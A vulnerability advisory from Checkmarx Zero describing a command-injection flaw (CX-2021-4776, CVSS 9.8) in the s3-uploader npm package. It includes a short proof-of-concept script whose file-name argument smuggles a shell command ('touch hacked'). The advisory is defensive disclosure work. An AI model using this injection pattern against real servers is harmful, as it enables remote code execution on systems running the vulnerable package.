---
title: "CX-2021-4776"
date: "2021-04-25T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4776/"
---

# CX-2021-4776

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

No CVE assigned  **Published:** Apr 25, 2021

9.8 Critical Severity javascript node nodejs npm RCE

AZ Adar Zandberg  Reported by Checkmarx Zero

Details Overview

## Summary

The s3-uploader Node.js package insecurely passes data to the metadata() function, which is ultimately concatenated to an OS command and executed in the context of the server.

## Product

s3-uploader through 2.0.3.

## Impact

Potential remote code execution is possible in cases where the attacker has control over the parameters passed to Image.prototype.getMetadata.

## Steps to reproduce

In order to reproduce this, the following poc.js file should be created and executed:

```js
var Upload = require('s3-uploader');
var client = new Upload('my_s3_bucket', {});
client.upload('nothing; touch hacked; #', {}, function(err, versions, meta) {});
```

### Expected result:

A file named `hacked` has been created

## Remediation

It is recommended to sanitize every untrusted input used by your applications.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst [Adar Zandberg](https://www.linkedin.com/in/adarz).

## Resources

1. [node-s3-uploader/index.js](https://github.com/Turistforeningen/node-s3-uploader/blob/v2.0.3/index.js#L36)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Mar 22, 2021 Notified developer

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)